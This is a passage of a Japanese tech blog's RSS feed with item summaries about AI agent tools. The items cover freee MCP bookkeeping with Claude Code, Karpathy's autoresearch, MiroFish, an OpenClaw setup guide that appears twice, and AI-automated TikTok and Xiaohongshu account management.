&lt;p&gt;2026年1月に &lt;code&gt;plansDirectory&lt;/code&gt; 設定が追加され、&lt;code&gt;/plan&lt;/code&gt; モードで作成した計画書を Git 管理できるようになった。さらにカスタムコマンドを使えば、ドメイン知識を埋め込んだ独自のワークフローを構築できる。&lt;/p&gt;</description></item><item><title>freee MCP × Claude Code で確定申告の仕訳1,428件を20分で終わらせた話</title><link>https://hdknr.github.io/blogs/posts/2026/03/freee-mcp-claude-code-%E3%81%A7%E7%A2%BA%E5%AE%9A%E7%94%B3%E5%91%8A%E3%81%AE%E4%BB%95%E8%A8%B31428%E4%BB%B6%E3%82%9220%E5%88%86%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%81%9F%E8%A9%B1/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/freee-mcp-claude-code-%E3%81%A7%E7%A2%BA%E5%AE%9A%E7%94%B3%E5%91%8A%E3%81%AE%E4%BB%95%E8%A8%B31428%E4%BB%B6%E3%82%9220%E5%88%86%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%89%E3%81%9B%E3%81%9F%E8%A9%B1/</guid><description>&lt;p&gt;minicoohei 氏（&lt;a href="https://x.com/minicoohei"&gt;@minicoohei&lt;/a&gt;）が、freee の公式 MCP サーバーと Claude Code を組み合わせて&lt;strong&gt;確定申告の仕訳1,428件をわずか20分で完了&lt;/strong&gt;させた事例を&lt;a href="https://x.com/minicoohei/status/2031269678040162679"&gt;公開した&lt;/a&gt;。手作業なら4〜5時間かかる Amex のクレジットカード明細の仕訳登録を、AI が自動化した。&lt;/p&gt;
&lt;h2 id="ワークフローの概要"&gt;ワークフローの概要&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amex の取引明細（1,428件）を入力データとして用意&lt;/strong&gt; — 通常の手作業では1件ずつ勘定科目を判断して登録する必要がある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI が70以上の分類ルールを自動生成&lt;/strong&gt; — 取引内容のパターンを分析し、勘定科目の振り分けルールを構築する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対話的なルール調整&lt;/strong&gt; — 人間との会話を通じてルールを精緻化する。税務リスクのある取引を事前に特定し、適切な処理方法を提案する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;並列バッチ処理で一括登録&lt;/strong&gt; — freee API 経由で全件をエラーゼロで登録する&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="freee-mcp-とは"&gt;freee MCP とは&lt;/h2&gt;
&lt;p&gt;freee は公式の &lt;a href="https://github.com/freee/freee-mcp"&gt;MCP サーバー（freee-mcp）&lt;/a&gt;を OSS として公開している。会計・人事労務・請求書・勤怠・販売の5領域にわたる API を、AI エージェントから操作可能にするインターフェースだ。&lt;/p&gt;
&lt;p&gt;Claude Code や Claude Desktop から接続すると、「この請求書を発行して」「今月の経費を集計して」といった自然言語の指示で freee の業務を実行できる。&lt;/p&gt;
&lt;h2 id="なぜ効果的なのか"&gt;なぜ効果的なのか&lt;/h2&gt;
&lt;p&gt;従来の会計ソフトの自動仕訳機能は、事前に設定したルールに基づく単純なパターンマッチングだった。Claude Code を使うアプローチには以下の利点がある:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文脈理解による分類精度&lt;/strong&gt; — 取引先名や摘要の自然言語を理解して勘定科目を判断する。「AWS」なら通信費、「タクシー」なら旅費交通費、といった判断を人間と同等の精度で行える&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対話による例外処理&lt;/strong&gt; — 判断に迷うケースを人間に確認し、その回答を以降のルールに反映する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バッチ処理の効率&lt;/strong&gt; — MCP 経由で freee API を直接操作するため、GUI での手作業が不要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="実務での注意点"&gt;実務での注意点&lt;/h2&gt;
&lt;p&gt;freee MCP を Claude Code と組み合わせる場合、いくつかの実務的な考慮点がある:&lt;/p&gt;</description></item><item><title>Karpathy の autoresearch — 寝ている間にAIが100回実験して朝にはモデルが賢くなっている世界</title><link>https://hdknr.github.io/blogs/posts/2026/03/karpathy-%E3%81%AE-autoresearch-%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%ABai%E3%81%8C100%E5%9B%9E%E5%AE%9F%E9%A8%93%E3%81%97%E3%81%A6%E6%9C%9D%E3%81%AB%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E3%81%8C%E8%B3%A2%E3%81%8F%E3%81%AA%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E4%B8%96%E7%95%8C/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/karpathy-%E3%81%AE-autoresearch-%E5%AF%9D%E3%81%A6%E3%81%84%E3%82%8B%E9%96%93%E3%81%ABai%E3%81%8C100%E5%9B%9E%E5%AE%9F%E9%A8%93%E3%81%97%E3%81%A6%E6%9C%9D%E3%81%AB%E3%81%AF%E3%83%A2%E3%83%87%E3%83%AB%E3%81%8C%E8%B3%A2%E3%81%8F%E3%81%AA%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E4%B8%96%E7%95%8C/</guid><description>&lt;p&gt;Andrej Karpathy が公開した &lt;a href="https://github.com/karpathy/autoresearch"&gt;autoresearch&lt;/a&gt; は、AI エージェントが自律的に ML 実験を繰り返すツールだ。寝ている間に AI が 100 回実験し、朝起きたらモデルが賢くなっている——そんな研究スタイルを 630 行の Python コードで実現する。&lt;/p&gt;
&lt;h2 id="autoresearch-とは"&gt;autoresearch とは&lt;/h2&gt;
&lt;p&gt;nanochat（軽量 LLM 学習コア）をシングル GPU・1 ファイルに凝縮し、AI エージェントが自律ループで学習コードを改善していく仕組み。&lt;/p&gt;
&lt;p&gt;基本構造はシンプル:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;人間&lt;/strong&gt;が &lt;code&gt;.md&lt;/code&gt; ファイル（プロンプト）を設計する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI エージェント&lt;/strong&gt;が &lt;code&gt;.py&lt;/code&gt;（学習コード）を自律的に改善する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;各実験は &lt;strong&gt;ちょうど 5 分間&lt;/strong&gt; のトレーニングで構成され、1 時間あたり約 12 回、一晩で約 100 回の実験が自動で回る。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;人間: program.md を設計（研究の方針・制約を定義）
↓
AI エージェント: 学習コードを修正
↓
5分間のトレーニング実行
↓
結果を評価（validation loss）
↓
改善されていれば git commit → 次のイテレーションへ
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="技術的な特徴"&gt;技術的な特徴&lt;/h2&gt;
&lt;h3 id="630-行のミニマル設計"&gt;630 行のミニマル設計&lt;/h3&gt;
&lt;p&gt;autoresearch の核心は「小さく始めて、エージェントに任せる」という哲学にある。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;シングル GPU で完結（マルチ GPU 不要）&lt;/li&gt;
&lt;li&gt;ニューラルネットワークのアーキテクチャ、オプティマイザ、ハイパーパラメータすべてを AI が調整&lt;/li&gt;
&lt;li&gt;git feature ブランチ上で動作し、改善があれば自動コミット&lt;/li&gt;
&lt;li&gt;MIT ライセンスで公開&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="コードを書くのではなくプログラムをプログラムする"&gt;「コードを書く」のではなく「プログラムをプログラムする」&lt;/h3&gt;
&lt;p&gt;Karpathy が強調するのは、研究者が Python ファイルを直接触るのではなく、&lt;strong&gt;Markdown でエージェントへの指示を設計する&lt;/strong&gt;というパラダイムシフトだ。&lt;/p&gt;</description></item><item><title>MiroFish — 20歳の学生が10日間の Vibe Coding で作った AI 未来予測エンジンが GitHub Trending 1位に</title><link>https://hdknr.github.io/blogs/posts/2026/03/mirofish-20%E6%AD%B3%E3%81%AE%E5%AD%A6%E7%94%9F%E3%81%8C10%E6%97%A5%E9%96%93%E3%81%AE-vibe-coding-%E3%81%A7%E4%BD%9C%E3%81%A3%E3%81%9F-ai-%E6%9C%AA%E6%9D%A5%E4%BA%88%E6%B8%AC%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%8C-github-trending-1%E4%BD%8D%E3%81%AB/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mirofish-20%E6%AD%B3%E3%81%AE%E5%AD%A6%E7%94%9F%E3%81%8C10%E6%97%A5%E9%96%93%E3%81%AE-vibe-coding-%E3%81%A7%E4%BD%9C%E3%81%A3%E3%81%9F-ai-%E6%9C%AA%E6%9D%A5%E4%BA%88%E6%B8%AC%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%B3%E3%81%8C-github-trending-1%E4%BD%8D%E3%81%AB/</guid><description>&lt;p&gt;20歳の中国の大学4年生・郭航江（Guo Hangjiang）氏が、わずか10日間の Vibe Coding で開発した OSS「MiroFish」が GitHub Trending で3日連続1位を獲得し、Star 数は約 11,000 を超えて急増中です。さらに、盛大グループ創業者の陳天橋氏がデモを見て24時間以内に3,000万元（約6.9億円）の即決投資を行ったと報じられています。&lt;/p&gt;
&lt;h2 id="mirofish-とは"&gt;MiroFish とは&lt;/h2&gt;
&lt;p&gt;MiroFish は、マルチエージェント技術を活用した次世代の AI 予測エンジンです。ニュース・政策・金融データなどのテキストを投入すると、AI が数千の人格を持つエージェントを生成し、エージェント同士が相互作用することで未来の社会・市場の動きをシミュレートします。&lt;/p&gt;
&lt;p&gt;公式の説明では「A Simple and Universal Swarm Intelligence Engine, Predicting Anything（簡潔で汎用的な群体知能エンジン、万物を予測）」とされています。&lt;/p&gt;
&lt;h2 id="仕組み"&gt;仕組み&lt;/h2&gt;
&lt;p&gt;MiroFish の動作は以下のステップで構成されます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;シード情報の抽出&lt;/strong&gt; — ニュース速報、政策草案、金融シグナルなどの現実世界のデータを取り込む&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デジタルワールドの構築&lt;/strong&gt; — 取り込んだ情報から高忠実度な並行デジタル世界を自動構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェントの生成&lt;/strong&gt; — 独立した人格、長期記憶、行動ロジックを持つ数千〜数万のエージェントを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会進化シミュレーション&lt;/strong&gt; — エージェント同士が自由に相互作用し、社会的進化を遂げる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;変数注入と予測&lt;/strong&gt; — ユーザーが動的に変数を注入し、未来がどう展開するかの精密なシミュレーションを実行&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="想定される活用シナリオ"&gt;想定される活用シナリオ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;金融意思決定支援&lt;/strong&gt; — 市場動向の予測と投資判断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;政策・世論予測&lt;/strong&gt; — 政策変更がもたらす社会的影響の分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR 危機シミュレーション&lt;/strong&gt; — 企業の危機管理対応の事前検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マーケティング戦略テスト&lt;/strong&gt; — キャンペーン効果の事前予測&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ストーリー・フィクション推演&lt;/strong&gt; — 物語の展開シミュレーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;学術研究支援&lt;/strong&gt; — 社会科学的仮説の検証&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="vibe-coding-で10日間"&gt;Vibe Coding で10日間&lt;/h2&gt;
&lt;p&gt;注目すべきは、MiroFish が Claude Code などの AI コーディングツールを活用した「Vibe Coding」で開発されたという点です。Vibe Coding とは、AI エージェントと対話しながら直感的にコードを生成していく開発手法で、従来の開発と比較して大幅な時間短縮が可能です。&lt;/p&gt;</description></item><item><title>OpenClaw × Claude Code セットアップガイド — AI エージェントチームを構築する2つのアプローチ</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-claude-code-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B2%E3%81%A4%E3%81%AE%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-claude-code-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B2%E3%81%A4%E3%81%AE%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81/</guid><description>&lt;p&gt;OpenClaw と Claude Code を組み合わせることで、AI エージェントチームの構築・管理を効率化できます。本記事では、2つの主要な連携アプローチとそのセットアップ方法を解説します。&lt;/p&gt;
&lt;h2 id="アプローチ1-claude-code-のスキルで-openclaw-を管理する"&gt;アプローチ1: Claude Code のスキルで OpenClaw を管理する&lt;/h2&gt;
&lt;p&gt;Claude Code のスキル機能（&lt;code&gt;.claude/skills/&lt;/code&gt; に配置する Markdown ファイル）を使い、OpenClaw のエージェント作成・設定管理を標準化する方法です。&lt;/p&gt;
&lt;h3 id="なぜスキルで管理するのか"&gt;なぜスキルで管理するのか&lt;/h3&gt;
&lt;p&gt;複数の AI エージェントを運用していると、以下の問題が発生します:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;モデルやコンテキストの違いによる設定の不統一&lt;/li&gt;
&lt;li&gt;タイムゾーンフィールドの欠落、命名規則の不一致&lt;/li&gt;
&lt;li&gt;スキーマ検証やコミットフックによる検証が存在しない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claude Code スキルは「実行可能な基準」として機能し、モデルに依存せず一貫した手順を強制します。&lt;/p&gt;
&lt;h3 id="セットアップ"&gt;セットアップ&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/rahulsub-be/cc-openclaw"&gt;cc-openclaw&lt;/a&gt; リポジトリを使います:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/rahulsub-be/cc-openclaw.git ~/cc-openclaw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/cc-openclaw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;stow --no-folding -t ~/your-openclaw-home-repo .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ここで使っている &lt;code&gt;stow&lt;/code&gt; は &lt;a href="https://www.gnu.org/software/stow/"&gt;GNU Stow&lt;/a&gt; というシンボリックリンク管理ツールです。dotfiles 管理（&lt;code&gt;.bashrc&lt;/code&gt;, &lt;code&gt;.vimrc&lt;/code&gt; 等）でよく使われるもので、上記のコマンドは cc-openclaw リポジトリ内のファイル（&lt;code&gt;.claude/skills/&lt;/code&gt; 以下のスキル定義など）を、OpenClaw のホームリポジトリにシンボリックリンクとして配置します。コピーではなくリンクなので、cc-openclaw 側で &lt;code&gt;git pull&lt;/code&gt; するだけでスキル定義が最新に更新されます。&lt;code&gt;--no-folding&lt;/code&gt; オプションにより、ディレクトリ自体ではなくファイル単位でリンクが作成されます。&lt;/p&gt;</description></item><item><title>OpenClaw × Claude Code セットアップガイド — AI エージェントチームを構築する2つのアプローチ</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-claude-code-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B2%E3%81%A4%E3%81%AE%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-claude-code-%E3%82%BB%E3%83%83%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%82%AC%E3%82%A4%E3%83%89-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%81%E3%83%BC%E3%83%A0%E3%82%92%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B2%E3%81%A4%E3%81%AE%E3%82%A2%E3%83%97%E3%83%AD%E3%83%BC%E3%83%81/</guid><description>&lt;p&gt;OpenClaw と Claude Code を組み合わせることで、AI エージェントチームの構築・管理を効率化できます。本記事では、2つの主要な連携アプローチとそのセットアップ方法を解説します。&lt;/p&gt;
&lt;h2 id="アプローチ1-claude-code-のスキルで-openclaw-を管理する"&gt;アプローチ1: Claude Code のスキルで OpenClaw を管理する&lt;/h2&gt;
&lt;p&gt;Claude Code のスキル機能（&lt;code&gt;.claude/skills/&lt;/code&gt; に配置する Markdown ファイル）を使い、OpenClaw のエージェント作成・設定管理を標準化する方法です。&lt;/p&gt;
&lt;h3 id="なぜスキルで管理するのか"&gt;なぜスキルで管理するのか&lt;/h3&gt;
&lt;p&gt;複数の AI エージェントを運用していると、以下の問題が発生します:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;モデルやコンテキストの違いによる設定の不統一&lt;/li&gt;
&lt;li&gt;タイムゾーンフィールドの欠落、命名規則の不一致&lt;/li&gt;
&lt;li&gt;スキーマ検証やコミットフックによる検証が存在しない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Claude Code スキルは「実行可能な基準」として機能し、モデルに依存せず一貫した手順を強制します。&lt;/p&gt;
&lt;h3 id="セットアップ"&gt;セットアップ&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/rahulsub-be/cc-openclaw"&gt;cc-openclaw&lt;/a&gt; リポジトリを使います:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/rahulsub-be/cc-openclaw.git ~/cc-openclaw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/cc-openclaw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;stow --no-folding -t ~/your-openclaw-home-repo .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ここで使っている &lt;code&gt;stow&lt;/code&gt; は &lt;a href="https://www.gnu.org/software/stow/"&gt;GNU Stow&lt;/a&gt; というシンボリックリンク管理ツールです。dotfiles 管理（&lt;code&gt;.bashrc&lt;/code&gt;, &lt;code&gt;.vimrc&lt;/code&gt; 等）でよく使われるもので、上記のコマンドは cc-openclaw リポジトリ内のファイル（&lt;code&gt;.claude/skills/&lt;/code&gt; 以下のスキル定義など）を、OpenClaw のホームリポジトリにシンボリックリンクとして配置します。コピーではなくリンクなので、cc-openclaw 側で &lt;code&gt;git pull&lt;/code&gt; するだけでスキル定義が最新に更新されます。&lt;code&gt;--no-folding&lt;/code&gt; オプションにより、ディレクトリ自体ではなくファイル単位でリンクが作成されます。&lt;/p&gt;</description></item><item><title>OpenClaw × TikTok — AIエージェントでショート動画マーケティングを自動化する方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-tiktok-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E3%82%B7%E3%83%A7%E3%83%BC%E3%83%88%E5%8B%95%E7%94%BB%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-tiktok-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A7%E3%82%B7%E3%83%A7%E3%83%BC%E3%83%88%E5%8B%95%E7%94%BB%E3%83%9E%E3%83%BC%E3%82%B1%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%92%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;OpenClaw をショート動画マーケティングの自動化マシンとして活用する事例が注目を集めています。AI エージェントが TikTok コンテンツの生成・投稿・分析・最適化をループで回し、数十万ビューとアプリダウンロードを達成するという仕組みです。&lt;/p&gt;
&lt;h2 id="概要"&gt;概要&lt;/h2&gt;
&lt;p&gt;Greg Isenberg が紹介した事例では、OpenClaw を「AI 従業員」として稼働させ、TikTok 向けのショート動画マーケティングを完全自動化しています。Oliver Henry 氏が構築した「Larry」と呼ばれるシステムは、コンテンツ生成からパフォーマンス分析、改善までを自律的に実行します。&lt;/p&gt;
&lt;h2 id="larry-の仕組み"&gt;Larry の仕組み&lt;/h2&gt;
&lt;p&gt;Larry は以下のループで動作するフルファネルのフィードバックエンジンです:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテンツ生成&lt;/strong&gt; — OpenClaw がスライドショー形式の TikTok コンテンツを自動作成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;投稿準備&lt;/strong&gt; — API 直接投稿ではなく、ドラフトとして出力（アルゴリズムペナルティ回避のため、トレンドサウンドは手動追加）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンス分析&lt;/strong&gt; — TikTok のアナリティクスデータを取得し、ビュー数・エンゲージメント・ダウンロード数を分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最適化ループ&lt;/strong&gt; — 分析結果をもとにフック（冒頭の引き）や CTA（行動喚起）を改善し、次のコンテンツに反映&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;TikTok アナリティクスがコンテンツ生成にフィードバックされ、アプリレベルの指標がファネル上部に戻るという循環構造が特徴です。&lt;/p&gt;
&lt;h2 id="実績"&gt;実績&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;1 投稿で &lt;strong&gt;137,000 ビュー&lt;/strong&gt; を達成（画像モデルとフックの最適化後）&lt;/li&gt;
&lt;li&gt;別のユーザー（Ernesto Lopez 氏）は同様のアプローチで &lt;strong&gt;$70K MRR&lt;/strong&gt; を報告&lt;/li&gt;
&lt;li&gt;Oliver 氏はフルタイムの仕事を続けながら、このシステムで月数百ドルの MRR を生成&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="技術的なポイント"&gt;技術的なポイント&lt;/h2&gt;
&lt;h3 id="モデル選択は重要ではない"&gt;モデル選択は重要ではない&lt;/h3&gt;
&lt;p&gt;Oliver 氏は「Claude か OpenAI かの選択より、&lt;strong&gt;どう使いこなすか&lt;/strong&gt;が重要。98% のユーザーはモデルの差分をほとんど感じない」と述べています。&lt;/p&gt;
&lt;h3 id="openclaw-スキルの利点"&gt;OpenClaw スキルの利点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;スキルはローカルで所有・編集可能&lt;/li&gt;
&lt;li&gt;ホスティングやサブスクリプションのコストがゼロ&lt;/li&gt;
&lt;li&gt;SaaS の代替としてのポテンシャル&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="genviral-の-openclaw-スキル"&gt;Genviral の OpenClaw スキル&lt;/h3&gt;
&lt;p&gt;Genviral 社は OpenClaw 向けのソーシャルメディア自動化スキルをリリースしており、42 の API コマンドで TikTok、Instagram、YouTube、Facebook、Pinterest、LinkedIn の 6 プラットフォームに対応しています。&lt;/p&gt;</description></item><item><title>OpenClaw × 小紅書 — AI エージェントが SNS アカウントを完全自動運営する時代</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E5%B0%8F%E7%B4%85%E6%9B%B8-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C-sns-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E9%81%8B%E5%96%B6%E3%81%99%E3%82%8B%E6%99%82%E4%BB%A3/</link><pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E5%B0%8F%E7%B4%85%E6%9B%B8-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C-sns-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E9%81%8B%E5%96%B6%E3%81%99%E3%82%8B%E6%99%82%E4%BB%A3/</guid><description>&lt;p&gt;中国の SNS「小紅書（Xiaohongshu / RED）」で、&lt;strong&gt;AI エージェントがアカウントを完全自動運営している事例&lt;/strong&gt;が話題になっている。いち氏（&lt;a href="https://x.com/ichiaimarketer"&gt;@ichiaimarketer&lt;/a&gt;）が&lt;a href="https://x.com/ichiaimarketer/status/2031135692210807291"&gt;紹介したツイート&lt;/a&gt;によると、「虾薯（シャーシュー）」というアカウントは人間ではなく AI エージェントが運営しており、投稿の作成から公開、コメント返信、バズったコンテンツの分析・再現まで、すべて自動で行われている。&lt;/p&gt;
&lt;h2 id="仕組み2-つのスキルの連携"&gt;仕組み：2 つのスキルの連携&lt;/h2&gt;
&lt;p&gt;このシステムは、OpenClaw のスキル（プラグイン）として公開されている 2 つの GitHub プロジェクトで構成されている。&lt;/p&gt;
&lt;h3 id="auto-redbook-skillsコンテンツ制作"&gt;Auto-Redbook-Skills（コンテンツ制作）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/comeonzhj/Auto-Redbook-Skills"&gt;comeonzhj/Auto-Redbook-Skills&lt;/a&gt; — AI による記事作成と画像生成、自動公開を担当する。&lt;/p&gt;
&lt;ul&gt;
